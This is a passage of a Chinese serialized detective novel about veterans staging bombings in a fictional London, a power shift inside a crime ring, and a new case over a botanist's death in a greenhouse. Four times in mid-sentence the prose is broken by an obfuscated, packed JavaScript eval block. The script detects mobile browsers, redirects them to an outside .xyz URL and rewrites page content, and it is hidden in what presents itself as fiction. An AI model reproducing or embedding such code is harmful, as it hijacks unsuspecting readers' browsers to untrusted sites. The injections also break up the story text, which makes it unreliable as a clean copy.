我没有想到，克罗斯竟然也会被简叫来参与这种事，那或许与他的身份有关，又或许是因为其他的什么。所以我只是惊诧了一下，就把注意力放回了简的身上。 “看来还没散场。”一旁格林小姐说，“外面消停了，那些乱窜的老兵好像都缩回去了。”她看着谢维奇，“你的人？” 谢维奇没说话，算是默认。 台灯的光在几个人之间浮沉。空气凝滞，只有克罗斯指尖那枚硬币翻转的细微声响。 “小姐。”谢维奇看向简，“我和我的弟兄，已经等得够久了。” “我说过我可以…”简说。 “我们不需要施舍，”他说。 谢维奇那只独眼转向格林小姐，又缓缓移向靠在门框上的克罗斯，最后落回简身上。 他的声音如此可怖，就像是破风的管道，他说，“我们需要被看见。” “看见之后呢？”克罗斯忽然开口，硬币啪一声握在手心，面具下的声音带着惯有的、令人捉摸不透的笑意。 “一场盛大的烟花？用你们的血肉点燃，给这座健忘的城市提个神？代价可不小。”他歪了歪头，看向谢维奇空荡的袖管，“而且，你们似乎已经预付过一些了。” 谢维奇的面部肌肉绷紧，伤疤在灯光下显得更深刻。“…我们付得够多了。不差最后一点。” “谢维奇，”简的声音疲惫却清晰，“你们要做的，意味着彻底的……没有回头路。” “我们早就没有回头路了，小姐。”谢维奇哑声道，“从我们被遗忘在那片烂泥地里开始。” 他们交谈着，关于过往与一些隐秘的东西。我保持安静，站在简的身后，注视着。 我当时尚未明白他们要做什么，但我清楚，那肯定无比危险。 格林小姐走到桌边，手指漫不经心地划过桌子。“老码头往东，第七区，废弃的货运调度站。足够大，足够旧，也足够……显眼。”她没看任何人，像是随意地说，“下周三晚上，港务局有一次巡查，会清空相邻区域。噪音能掩盖很多动静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342963|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线路……有一条老的补给通道，还算通畅，能进去，也能……出来。”她顿了顿，“如果你们还想出来的话。” 克罗斯轻笑一声，从阴影里走出来，从大衣内袋里掏出一个小布袋，随意地扔在桌上，发出沉甸甸的声音。 袋口松开，滚出几颗成色极佳的宝石，在昏黄光线下折射出冷光。 “一点小收藏，”他语调轻慢，“够换一船的…啡，或者，够买通某个角落，让一些噪音变得更大声点。当然，比不上…家的珍藏，但聊表心意。”他看向简，眼神里有些难以名状的东西，“毕竟，看烟花总是要付点门票钱的，不是吗？” 简没有看那些宝石。 她起身，拿出了一个钥匙，“地点在……能让你们拿走的就用。”她说，“够吗？” 谢维奇的目光扫过，独眼里没有任何波动，只是点了点头。“够了。” 我站在简的身后，看着这一切。 看着格林小姐提供的地点与线路，冷静得像在布置一场演出；看着克罗斯抛出的宝石，轻佻又认真；看着简拿出的……，干脆利落； 看着谢维奇接受这一切，如同接受最终的判决。 这是一场飞蛾扑火的协议，各方心知肚明，却又诡异地达成了平衡。 “先生呢？”我终于问出声。 格林小姐和简的目光短暂交汇了一瞬。 “他老了，”格林小姐先开口，带着微笑，“蛇老了，会更珍惜自己的毒牙，盘踞在巢穴里。他清楚一切。” 简接道，“他不会阻止。”她没再说下去。 房间里再次陷入沉默。 谢维奇缓缓站起身，空袖管轻微晃动。 “周三。”他说，然后迈步走向门口。 克罗斯侧身让开，微微颔首，像个礼貌的旁观者。 谢维奇没有回头，身影消失在楼梯的黑暗中。 硬币再次在克罗斯指尖翻转起来。 “戏看完了，我也该走了。”他走向窗口，推开，“祝各位……晚安。”他翻身出去，融入了外面的夜色。 格林小姐走到简身边，低声说了几句什么。简点了点头。 窗外，城市依旧沉寂，铅灰色的天空压得很低。台灯的光，依旧亮着，照着空了一半的房间。 我站立其中，再一次知晓了，许多事与我认知的不一样，也不会永远顺着人们的心意往下走。 我找不到简，但她又有着自己的想法与事情。我不想离开简与梅尔，可她们的经历确实与我格格不入。 “弗瑞。”简靠近我，身上有着硝烟与血腥，我落入了她的怀抱。“最近不安全，你知道的，我送你回萨罗郡……” “不，不用。”我打断了她的话，“我可以的。你也是。” “好。”她应道。 不能完全融入又如何，我们相互理解且尊重。一切都有什么关系？我乐意。 而谢维奇与他的弟兄，我保持崇敬。 对于我所经历与见证的一切，我保持缄默。直至我所写的文字在不知多久之后，得已被人看见。 81.10.4 《泰晤士报》：退役士兵于本市制造多起袭击事件，当局称系有组织行动，未有无辜平民伤亡。 （本报讯）本周三夜间至周四凌晨，伦敦城内发生数起针对特定目标的爆炸与袭击事件。据苏格兰场确认，事件系由一伙退伍军人策划实施。目标包括官方港口的大范围，以及位于梅菲尔区的一处私人俱乐部及几幢宅邸，据信该产业与知名富豪关联甚密。 调查显示，该团伙成员均曾在海外服役，多人患有严重弹震症或因战致残。初步报告指出，他们对退役后所获待遇及安置深感不公，此次行动意在引发公众对其境遇之关注。 现场发现传单，署名“谢维奇”，宣称“战争从未结束，它活在我们每一道伤口和每一个噩梦里”。该宣言要求国家正视战争为人们带来的长久创痛。 值得注意是，袭击经过精密策划，未有无辜民众伤亡报告。警方已击毙负隅顽抗之主犯谢维奇，其余人员或遭逮捕，或仍在逃，团伙已告瓦解。 沉闷的早晨。我默默裁剪着这个报道。 每一个字都冰冷、官方，似乎不包含任何的私人情绪。 他们给了他们几行字。 “谢维奇”。“被击毙”。“团伙瓦解”。 我知道不是这样。 我知道简在前一天晚上就不见了。我知道格林小姐的汽车在巷口停了半夜。 我知道老码头第七区那座废弃调度站，在周三晚上并没有等来港务局的巡查，只等来了精心计算的寂静和沉闷的声响。 我知道那些“或仍在逃”的人，像水滴汇入大海，消失在这座城市错综复杂的阴暗里，靠着某些人提供的药品和通道，继续沉默地活着，或者死去。 谢维奇死了。 报纸没说错。 他们朝他开了很多枪。 他只剩下一只眼睛，大概没想躲。 他的弟兄们死的死，散的散。像他们早就预料到的那样。 一场用血肉点燃的烟花，只为了烧亮一瞬，让一些人看见。 简在我旁边，放下望远镜。她脸上没什么表情。 “走了。”她说。 下面的宅邸和俱乐部，先生的地盘，正乱着。烟雾还没完全散尽。谢维奇他们干得很彻底，动静足够大。 足够调开大部分人。 足够让一些更重要地方的人手变得薄弱。 或者说，足够所有人提供一个机会，包括先生。 简和格林小姐的人，趁着那片混乱，悄无声息地渗了进去。没有遇到像样的抵抗。控制进行得很安静，效率高得惊人。 先生没有反抗，他把玩着手里的金蛇，竟然有着几分愉悦，彷如见到了上好的成品。 然后，简，格林，还有那位先生在那个偌大的房间里交谈。 他们说了什么？ 我不需要知道。 但是格林小姐先出来了，她拿起内部通讯器，按了几个钮。 “清理一下。”她说，声音不大，但很清晰。“以后这里的规矩，改了。” 她的人动了起来。 我走到窗边，看着外面。 天快亮了，是一种灰蓝色。 城市还在睡，或者假装睡。 风吹过，带着烟和血的味道。还有这个城市永远不会变的沉闷。 ……… 我收回了思绪，那则关于“退役士兵团伙瓦解”的报道被我整齐地剪下，收进抽屉。 城市在雾霭中，仿佛昨夜什么也不曾发生。 我走出去。楼下有人。老滴答，简，梅尔都在。 老滴答看起来像是一夜之间被抽干了精神，往常那点狡黠自豪的神气不见了，只剩下一身皱巴巴的旧衣服和深深的佝偻。 他没看我们，只是站着，肩膀垮着，那双惯于摆弄精密齿轮的手此刻无力地垂着，微微发抖。 房间里很静。 忽然，他喉咙里发出极压抑的呜咽。那声音不大，却撕扯得难受。 “我劝过他们的……”他声音哑得厉害，说的话断断续续，“我说……留着命，比什么都强……总能找到活路……” 他抬起粗糙的手，用力抹了一把脸。 “他们说……他们说他们老了，废了，就这样了……可还有年轻的，那些伤了的、回来的……下一代不能这样，年轻的弟兄不能像他们一样烂掉、被忘掉……” 他的肩膀颤抖起来，呼吸变得急促，像是喘不过气。 “我劝不住啊！大哥……我……”他猛地吸了一口气，剩下的话碎成了无法辨认的音节，只剩下沉重的抽气声。 他终于瘫坐进椅子里，把脸深深埋进手掌，脊背剧烈地起伏着。 他没有再说出一个完整的字。无声的恸哭却包含了无尽的悲哀。 梅尔站在阴影里，靠着墙。 她手臂上的伤似乎好了大半，动作间已看不出滞涩。 她脸上没什么表情，只是看着老滴答，看着这个为里斯克家干了一辈子、又和许多像谢维奇那样的曾经的年轻人上过战场的老仆人。 她注视着，很认真，看不出在想什么。 她没有出声安慰，也没有走开。只是那么看着，仿佛这种绝望是她早已熟悉的一部分。 过了一会儿，老滴答的哭声低了下去。 梅尔这才动了。 她走到桌边，倒了杯水，走过去，沉默地放在老滴答手边的矮凳上。 然后她转向简。 “我该回去了。”她说。“金环蛇那边需要人。 简注视着她，点了下头。“小心。” “嗯。”梅尔应了一声，没再多说，转身拉开门走了出去。 她的脚步稳定，很快消失在楼梯拐角。 她回到那个暗流涌动的地方。她在那里诞生，在那里长大，习惯且自如。 房间里又安静下来。 过了很久，老滴答才缓缓抬起头，眼睛通红，脸上带着近乎麻木的平静。他端起那杯水，手不再抖了，慢慢喝了一口。 “简小姐，”他声音依旧沙哑，却平静了许多，“这个家……以后……” “这个家需要站稳，”简接话，她抽出了一根草药烟点燃，“我必须能控制住局面。” 她停顿了一下，像是在对老滴答说，也像是在对自己说，“我和格林……我们谁也信不过谁。这种对抗，从一开始就是安排好的。” 老滴答沉默地点了点头，不再说话。 他慢慢站起身，拿起角落的工具盒，又开始像往常一样，默默检查起房间里那些他负责维护的琐碎东西，只是动作比以往更慢。 金环蛇内部的权力更迭，在随后几天以一种外人难以察觉的方式迅速完成。表面风平浪静，底下却已换了天地。 格林小姐手段利落，本就颇有基础，迅速重新划定规矩。简的名字在某些层面拥有了更重的分量，一种新的紧绷平衡又建立了起来。 而先生，我不明白他。但他似乎对一切乐见其成。 …… 几天后，有消息传来，先生要见我。 这有些意外。 我于先生，更像是简身边一个模糊的背景，一个不值得额外关注的影子。 简可能有危险的时候，我见他，他不愿意。现在事情尘埃落定，他却发出了邀请。 “弗瑞，你完全不需要理他。”简说。她在替我着想。 但是，不管是因为什么原因，我还是想见他一面。 见面的地点不在那处遭受袭击、正在修缮的俱乐部，也不在什么隐秘的巢穴，而是在一栋看起来相当普通的城市宅邸书房里。只是这里安静得不同寻常。 他坐在一张宽大的皮质扶手椅里，身后的壁炉没有生火。但是吊灯完全开着，他看起来比上次更显老态一些，但腰背依旧挺直，手里依旧把玩着那条金蛇。 他抬眼看我，只是打量。 “弗瑞小姐。”他开口，“请坐。” 我在他对面的椅子上坐下，手放在膝盖上。 一段沉默。 “简……她做得比我想象的要好。”他忽然说。“也比我期望的更……决绝。” 他没有看我，目光落在虚空中。 “她小时候，不像现在。有点倔，但心肠软。看到受伤的鸽子会偷偷藏起来照顾。当然，她不知道我关注着她。她很像她的母亲。” 他嘴角似乎极轻微地牵动了一下，但那弧度消失得太快，像是错觉。“战争改变很多人。有时是外表，有时是里面。” 他的目光终于落回我身上。“格林是个不错的合作者，聪明，有野心，懂得审时度势。但她永远只会是合作者。简不同……”他顿了顿，“她得走下去，用她的方式。有些东西，必须她亲手拿过去，甚至……抢过去。” “所以您默许了。”我说。声音在安静的房间里显得有点干。 “默许？”他像是品味着这个词，“不如说是等待。等待她足够强大，等待时机足够成熟，等待一个足够分量的……契机。” 他看了一眼窗外，城市的天际线在暮色中显得模糊。 “谢维奇和他们做的事，提供了这个契机。混乱是阶梯，对一些人来说是，对另一些人来说，也是清理门户的时机。” 他说的很平淡，仿佛在谈论天气，而不是那些逝去的生命和精心策划的流血。 “您不见我，之前。”我直接问出了疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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报纸上有了新的新闻，人们的注意力被新的琐事或爆点吸引。 只有少数人记得，只有亲历者刻骨铭心。 几天后，我和简去了东区那个我先前找到的废弃仓库。 那里比之前更拥挤了些。又多了几个面生的年轻面孔，有的缺了胳膊，有的腿上还绑着简陋的夹板，眼神里混着警惕、茫然和残存的硬气。还有几个半大的孩子，在大人腿边怯生生地张望。 然后我看见了小麻雀。他比之前好像长高了一点，脸上脏兮兮的，但眼睛依旧很亮。 他看见我们，立刻跑了过来，手里紧紧攥着一张皱巴巴的纸。 “弗瑞小姐！”他喘着气，带着压不住的兴奋，把那张纸举给我看，“你看！公告！政府出的！说我可以去新开的那个学校读书了！有地方住，还管饭！” 那纸上印着官方的通告，关于安置战争孤童的措施。他的手指紧紧捏着纸的边缘，仿佛那是全世界最宝贵的东西。 我看着他那张焕发着光彩的小脸，又看看周围那些沉默的、带着伤残的年轻人，还有角落里堆着的简陋铺盖和空罐头盒。 一种极其复杂的情绪堵在心口。 谢维奇和他们那些弟兄用最极端、最惨烈的方式，用一场血肉烟花，烧亮了一瞬，真的让一些人“被看见”了吗？还是仅仅为这固有的循环，添上了一笔更浓重的血色？ 我说不清。或许两者都有。 这其中的对错得失，太重，太沉，我无法衡量。 我们留下一些钱和物资，嘱咐了几句。 离开时，天色渐晚。街道两旁灯光昏暗，拉出长长的影子。 就在我们要走上大路时，一阵熟悉的、吭哧吭哧的引擎声从后面传来。 我回头看去。 一辆破旧得几乎要散架的老汽车，正晃晃悠悠地从巷子里开出来。 驾驶座上是个脸庞稚嫩却故作沉静的年轻人，副驾上坐着另一个，胳膊还吊在胸前。后座挤着几个半大的孩子，其中一个小男孩，长得有几分像小麻雀，正扒着车窗好奇地往外看。 那车像极了那天谢维奇和他弟兄们开的那辆。 同样的破败，同样的不堪重负，同样载着一车沉甸甸的、无望又希望着的生命。 它吭哧着，喘着粗气，摇摇晃晃地拐上了另一条路，朝着更深的暮色里驶去。 我和简站在路边，看着那辆破车尾灯微弱的光亮在颠簸中逐渐远去，最终融入伦敦庞大而无边的夜色里。 城市沉默着，一如既往。 82.10.5 我考虑了许久，最终还是决定动笔记录。 尘封的真相？ 我所写的是真相吗？ 呵。 我在书房向下看，弗瑞在庭院里照料花草。 幸好，她没有事。 也没有离开。 我知道最近的事情让她受了极大的惊吓。 我很抱歉。 …… 我很久没有见过谢维奇了。 他的结局让人意外，又似乎理所当然。 值得吗？ 呵。谁知道呢？ …… 当我年少时，祖父总是安排层层叠叠的守卫。他们困着我。……困着他们。 滴答。他的真实名字似乎已经不再重要。 只是他逐渐老去，成为了老滴答。 老滴答是幸运的。他和他的兄弟上了战场，他回来了。 无数的人，老的少的，平民还有……，无数的人奔赴战场，然后死去，或者残缺，留下永远的狼藉，这就是战争。 我的家族供给武器，记忆里，我的祖父为此喜悦。我呢？我只是困在这。 算了。无需纠结。 呵。 …… 梅尔会去见那些归来的人们。 谢维奇叫她……孩子？ 或许也对。 谢维奇…… 印象里，他是一个爽朗的人，领着一帮弟兄，即使在里斯克家干活，也有自己的想法。 老滴答说，他有过妻子和孩子。 然后，他上了战场。 他瞎了一只眼，他断了一条手，他什么都没有了。 一切都是猝不及防，又似乎刚刚好。 他有弟兄看见梅尔的时候，记忆错乱了，他或许以为自己还在战场，又或许是为了自保。 在梅尔和谢维奇交谈的时候，突然暴起。 梅尔当然反应过来了，但她又在最后的时候收了手。 对面是一个精神错乱的老人。 梅尔本可以杀了他。 …… 最后梅尔肩膀中弹，手伤复发。 那些人，慌乱中，散得散，跑得跑。 我找过去的时候，谢维奇在拼命地给她止血。他的手是抖的，但按压伤口的动作很准。一个经历过太多流血的人，知道怎么止住它。 他说：“对不起，小姐。我们没想伤你的人。” 梅尔脸色苍白，但没吭声。她看着那个被其他人按在地上的老兵，那老头眼神涣散，嘴里不停念叨着战场的代号。 我带梅尔去我们的私人基地处理伤口。当然，那是先生不知道地方。 一切过于迅速，我得先保证梅尔的安全。 谢维奇站在门口，影子拉得很长。那是梅尔最后一次见他。 我没有把这件事告诉弗瑞。 不是因为不信任，而是因为一切都发生得太快。 我需要她保持真实的反应，尤其是在事情尚未明朗之前。 我需要她的反应是不受我影响的，能够被先生信任的。 更何况，那天晚上我和谢维奇谈了许多。我们达成了一些交易，一些不能见光的协议。这些，弗瑞不需要知道。对于她的惊吓，我很抱歉。 我先在自己的地方把梅尔处理得差不多了，止了血，稳定了情况，然后才将她转移到先生所控制的医疗点。 这期间，我联络了格林，也通知了克罗斯。我把所有人都请到了我们的事务所。 我是否是故意让弗瑞见证？ 哈。也许吧。 她需要看到这城市华丽袍子底下爬行的虱子，需要知道有些战争从未真正结束。 或许，我也是想让她看见我的某一面。 …… 谢维奇死了。 官方说他被击毙，团伙瓦解。冰冷的字句，是一个人最后的痕迹。 他是求死的。 他用自己和他那些弟兄残存的一切，策划了这场盛大的、流血的烟花。 只为烧亮一瞬，让那些坐在俱乐部里、宅邸中、议会大厅里的人，不得不看一眼他们试图遗忘的角落。 “战争从未结束，它活在我们每一道伤口和每一个噩梦里”。 他说对了。 战争从未真正离开这座城市，这个国家。 它只是潜入地下，在阴影里化脓、发酵，滋养着新的罪恶，而我们深陷其中。 他选择用最极端的方式，把脓疮挑破，把血腥气扇到每个人鼻子底下。 值得吗？用命，去换一个可能？ 我无法评判。 我不是他们。 我没有在泥泞里失去肢体、失去睡眠、失去活下去的指望。 但我知道，若无巨大的绝望，绝不会行此决绝之事。 我提供了帮助。 我联系了所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355649|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 格林，克罗斯，…怀特，甚至…先生。 这本质是一场盛大的烟花表演。 一场所有人都需要的。 效率，利益，这是我所接受的一切。当然，我不愿意用这个去衡量所发生的一切，但他们又是如此的纠缠不息。 …… 小麻雀的喜悦是真的。 那张官方通告，对他而言就是新生的钥匙。也许谢维奇他们的血，确实为这样的孩子浇灌出了一条细微的生路。 这代价太沉重了。 但孩子的笑容确实是真实的。 那微弱的希望，能否抵消那么多条沉沦或逝去的生命？算不清。 还有更多像他们一样的人，拖着残破的身心，在这座城市的缝隙里挣扎。 烟花会熄灭，黑夜再次降临，他们依旧在黑暗中。 一辆破旧的汽车，又会载着新的绝望和一点点微弱的希望，驶向下一片暮色。 循环往复。 至于我……我控制了金环蛇的一部分，与格林达成了合作。 表面上是这样。 先生乐见其成，他早已预料，甚至期待这场“以下克上”的戏码。 格林聪明、有野心，我们是暂时的盟友，也是永恒的潜在对手。 我想脱离吗？从这泥潭里彻底抽身？当然。但我知道我从未真正脱离过。 从我出生在这个家族，我的血脉里就流淌着战争和权力的燃料。 我厌恶它，却又被它塑造。 我利用它提供的资源和规则，去做一些我认为该做的事，去保护我想保护的人。 这是一种矛盾的可悲。 我一方面想砸碎这个机器，一方面又不得不依靠它的零件来运转。 我成了…先生…或者…父亲…那样的人吗？ 不，我希望没有。 但我脚下的路，确实被他铺就，也沾着洗不净的血色和尘埃。 谢维奇用死亡试图打破循环，而我，或许正更深地陷入另一个循环。 弗瑞不会永远在我身边的。她应该自由。 她见了先生。 我不知道他们谈了什么。她没说，我也不问。我们之间有种默契，关于哪些需要言说，哪些只需沉默。 我能做的，或许就是在混乱中，尽力护住身边真实的一切。 黑暗永远需要秩序。 我会稳定一切。 83.11.1 好像一下子所有的事情都慢下来了。 至少，整个伦敦的犯罪事件都变少了很多。还有各种小偷小摸，小打小闹的事件，竟然也变少了。 最直观的就是，在一段时间内，简和我没有接到相关的案子了。 …… 又是一年的圣诞。 我，简，梅尔，老滴答，还有麻雀一起度过了一个珍贵的圣诞。 窗外的大雪落下，圣诞树的饰灯闪烁，丰富的节日晚餐，珍贵的朋友们。 那可能是我一生最重要的时刻之一了。 圣诞后第二天，我和简一起去屋外扫雪。 “昨天的雪真大啊，也不知道这些植物能不能安稳度过这个冬天。”我看着庭院中用薄膜包裹的花草，感叹道。 “放宽心，肯定可以的。”简认真地扫着雪，听到我的话，她停下动作说。 “嗯。”我应道。 扫雪的工作并不轻松，等我们干得差不多的时候都已经十一点左右了。索性直接去事务所找老滴答。 毕竟我们的早餐与中餐一贯都是在老滴答那里解决的。 …… “啊，小姐们！我还要去找你们呢！”老滴答看到我们明显松了口气。 “这是今天早上送来的信件。”老滴答把手里的信递给了简。 我瞟了一眼，是来自切尔西的。 信的内容如下。 侦探本小姐和里斯克小姐亲启： 很抱歉在这样一个节日氛围里递上这样一副信件。 我的名字埃莉诺·霍普金斯（Eleanor Hopkins）。 我本人并无什么出彩之地，父母早早离去，留下了足够的遗产。但这不是重点。 我一直与我的叔叔阿瑟·霍普金斯先生一道生活。 我想你们听过他？他是一位颇有名望的植物学家。 他过于痴迷于植物了，以至于在温室遭遇了不幸。警方调查说是意外，但是，我始终觉得不对。我知道的，他死于谋杀。 哦…我说不出什么理由，可能是出于女性的第六感？侦探小姐们，没有人信我。我简直是要被逼疯了。 我想，同为女性，你们应该能够理解我的那种感觉吧？所以我来寻找你们的帮助。 哦…我当然不是为了我叔叔的遗产，即使周围所有人都这么说，但是，小姐们，我犯不着。我父母留下的遗产已经足够了。 我想，我大概是为了求一个心安。那毕竟是我的叔叔。 如果你们愿意来调查，我感激不尽。 地点是切尔西84号霍普金斯府。 “霍普金斯，这个姓氏我确实在最近的报纸上看到过。”看完信件，我思索道。 读者们，日常观看各种各样的报纸还是有点帮助的。 我成功在最近的报纸上边角找到了报道。 植物学家兼富豪阿瑟·霍普金斯先生于12月22日在打理心爱的秋海棠时，被工具绊倒，额头撞击花盆，不幸身亡。 然后就是关于这位先生的成就与生平，还有他的遗产分配。 阿瑟爵士留下了一份复杂的遗嘱。 他将庞大的财产（包括豪宅、巨额现金和珍贵的植物杂交手稿）留给了他长期的私人助手迈克尔·洛特先生。 将自己一生最伟大的作品，一株独一无二、以他已故妻子名字命名的红色重瓣秋海棠新品种留给了侄女埃莉诺。 将一座乡间小屋和一小笔年金留给一位戏剧演员克拉拉·贝尔小姐。 负责处理爵士的法律和财务事务的家庭律师劳伦斯·特里梅因先生获得了一份不菲的报酬。 还有其他零零碎碎的东西，留给了在家中工作多年的老管家弗洛拉·彭哈利根女士。 而他的外甥塞巴斯蒂安·霍普金斯先生则是分毫未有。 “很有意思，不是吗？无论怎么看，这位先生的离世似乎都是不幸的意外。”简看着手里的报道说。 “我想去看看。”我说。 即使埃莉诺·霍普金斯小姐的说法多么难以置信，我还是想去看看。 女性的第六感？作为一名女性，我知道这并不是没有依据。可能是埃莉诺小姐已经察觉到了什么都对，却无法完全想明白，她的大脑给她的警示。 “当然可以，弗瑞。”简笑着说。 于是，我们就这么在圣诞节的第二天踏上了前往切尔西的路程。 我们抵达霍普金斯庄园时，天色昏黄，但冬日的阳光依然稀薄地洒在覆雪的花园上。 铁艺大门高大而精致，门后的车道两旁，即便是深冬，也有精心打理过的痕迹。 常绿的灌木被修剪得整齐，而几个玻璃温室在远处隐约可见。 庄园主体是一栋宏伟的乔治亚风格建筑，红砖墙面在雪中显得格外庄重。 最令人惊叹的是，即便在这样寒冷的季节，花园中依然盛开着不少花卉，娇艳的山茶、傲寒的冬青，还有几株我不太确定的、覆着薄雪却依然绽放的花，显然是阿瑟爵士生前精心培育的品种。 一切都显示着这个家族的财富与品味。 我们刚走上台阶，还未敲门，就听见一旁侧廊传来踉跄的脚步声。 一个男人摇摇晃晃地走出来，手里还拎着一个半空的酒瓶。 他穿着考究但衬衫领口松散，眼神浑浊，满脸不耐烦。 “你们又是谁？”他粗声粗气地问，目光在我们之间来回扫视，充满戒备与不屑。 “记者？还是又来瞧热闹的？” 简冷静地看了他一眼，“我们是应埃莉诺·霍普金斯小姐的邀请前来。” 他嗤笑一声，灌了一口酒。 “哦，又是她那点直觉。”他语气讽刺，“她是不是又觉得有人害死了我亲爱的叔叔？真是疯了，彻头彻尾的疯话。” 我注意到他称阿瑟爵士为“叔叔”，便猜到他就是那位一分未得的外甥，塞巴斯蒂安·霍普金斯。 简不为所动，只淡淡反问：“那么，你又为什么如此在意她的‘疯话’呢，先生？” 塞巴斯蒂安一时语塞，脸上闪过慌乱，随即又被恼怒取代。“你什么意思？！！” “我们还没说明自己的身份，你就已经断定我们是为此事而来，”简漫不经心地说，“看来你对埃莉诺小姐的动向很是了解。” 塞巴斯蒂安的表情僵了僵。 他举起酒瓶又猛灌了几口，手指有些发抖。 “少胡说八道，”他嘟囔着，“你们到底是干什么的？” “侦探。”简简短地回答。 他顿时噎住了，像是被酒呛到，连咳了几声。他不再看我们，嘟囔着一些听不清的话，转身踉跄着走远了。 我们对视一眼，没有多说，上前敲响了门。 不一会儿，一位年纪稍长的女士来开门。 她衣着整洁，神态沉稳，想必就是那位老管家弗洛拉·彭哈利根。 我们说明来意后，她礼貌地将我们引至客厅。 埃莉诺·霍普金斯小姐很快出现。 她是一位年轻瘦弱的女士，穿着深色衣裙，脸色苍白，眼底带着疲惫，但眼神坚定。她看到我们，明显松了一口气。 “非常感谢你们能来，”她轻声道，“我真的……不知道还能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365448|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁相信我的话。” 我们简单交谈了几句，她再次说了对叔叔离世的怀疑，尽管她也说不出了所以然，只是反复低声说：“我知道一定不对。” 之后，她转向受着一旁的管家，“彭哈利根女士，能否请您为两位小姐准备房间？她们可能会需要住上一两日。” 彭哈利根管家点头应下，神态恭谨却难掩忧虑。她目光在我们身上停留，仿佛想说什么，但最终只是默默转身安排去了。 埃莉诺小姐轻轻叹了口气，望向窗外覆雪的花园。 “希望你们能找到答案，”她低声说，“无论那是什么。” 我们稍作休整后，便在埃莉诺小姐的引领下，前往阿瑟爵士出事的温室。 温室位于宅邸一侧，由一条清扫过积雪的碎石小径相连。 巨大的玻璃结构在冬日阳光下闪着冷光，即便在室外，也能隐约感受到里面与季节不符的生机。 推门而入，一股暖湿气息扑面而来。 温室内部比从外面看更为宽敞，有序地摆放着各种植物，许多正奇异地在冬季盛放，营造出一种与外面冬日的肃杀截然不同的、近乎虚幻的生机。 “叔叔大部分时间都待在这里，”埃莉诺小姐的声音在静谧中显得有些轻飘，带着哀伤，“他尤其痴迷于秋海棠…事故就发生在那片区域。”她指向温室较深的一处。 我们跟随她穿过郁郁葱葱的植物走廊。 越往里走，温度似乎越高，空气也愈发潮湿。最终，我们在一小片较为开阔的区域停下。 这里摆放着许多形态各异的秋海棠，盆器精致，显然被精心照料。 中央的地面上还隐约能看到一些清理后残留的痕迹，不太明显，但与其他地方的整洁相比，还是有着差异。 “警方说，他是在打理那株‘维拉’，就是以我婶婶名字命名的秋海棠时，被放在地上的小铲或花锄绊倒了，头部撞在了那个陶制花盆的边缘。” 埃莉诺指着一株单独放置、开着重瓣红花的美丽秋海棠，以及它旁边一个看起来相当沉重的陶盆。 那株秋海棠的确与众不同，色泽深邃，花瓣繁复，带着一种哀艳虚幻的美。 我仔细观察着四周。 这里相对偏僻，被高大的植物半包围着，但一侧的玻璃墙外，可见一条清扫出的小径通向主宅，并有一扇落地窗，想必是方便阿瑟爵士直接从宅内进入温室。 埃莉诺小姐还在低声叙述着发现叔叔时的情形，语气压抑着痛苦。 而简，似乎并未完全专注于埃莉诺的叙述。她的目光锐利地扫视着周围，尤其是地面和植物枝叶之间。 忽然，她的视线定格在温室最内侧的玻璃墙外。 她不动声色地轻轻碰了下我的手臂，用眼神示意我看向外面。 透过澄澈的玻璃，可以看到温室外的地面上仍有未完全清扫的积雪。 紧贴着玻璃墙的地方，种着一排茂密的冬青树丛，枝叶四季常青，在雪地中格外醒目。 而就在其中一株冬青较低矮的、带有尖刺的树枝上，勾着一小片布料。 那布料颜色很深，近乎墨绿或黑色，与冬青的深绿叶片几乎融为一体。 它不大，几乎是紧贴着树叶。 最近一直在下雪，有些白色的雪覆盖在上面，幸好已经融化了，能够让人看见它。 简与我对视，我们都从对方眼中看到了同样的想法。 这片布料出现的位置有些微妙。 它不在常走的路径旁，而是紧贴着温室玻璃外墙，一个通常不会有人靠近的地方。 是什么时候、怎么勾上去的？ 84.11.2 那个布料的材质似乎是丝绸，反正并不普通。 我看着简仔细地将布料取下了。 “霍普金斯小姐，你可以辨认一下吗？”我问一旁的埃莉诺小姐。 “这材质…”埃莉诺小姐张嘴似乎想说什么，但是又陷入了沉默。 “霍普金斯小姐？霍普金斯小姐？”我连叫了她两声。 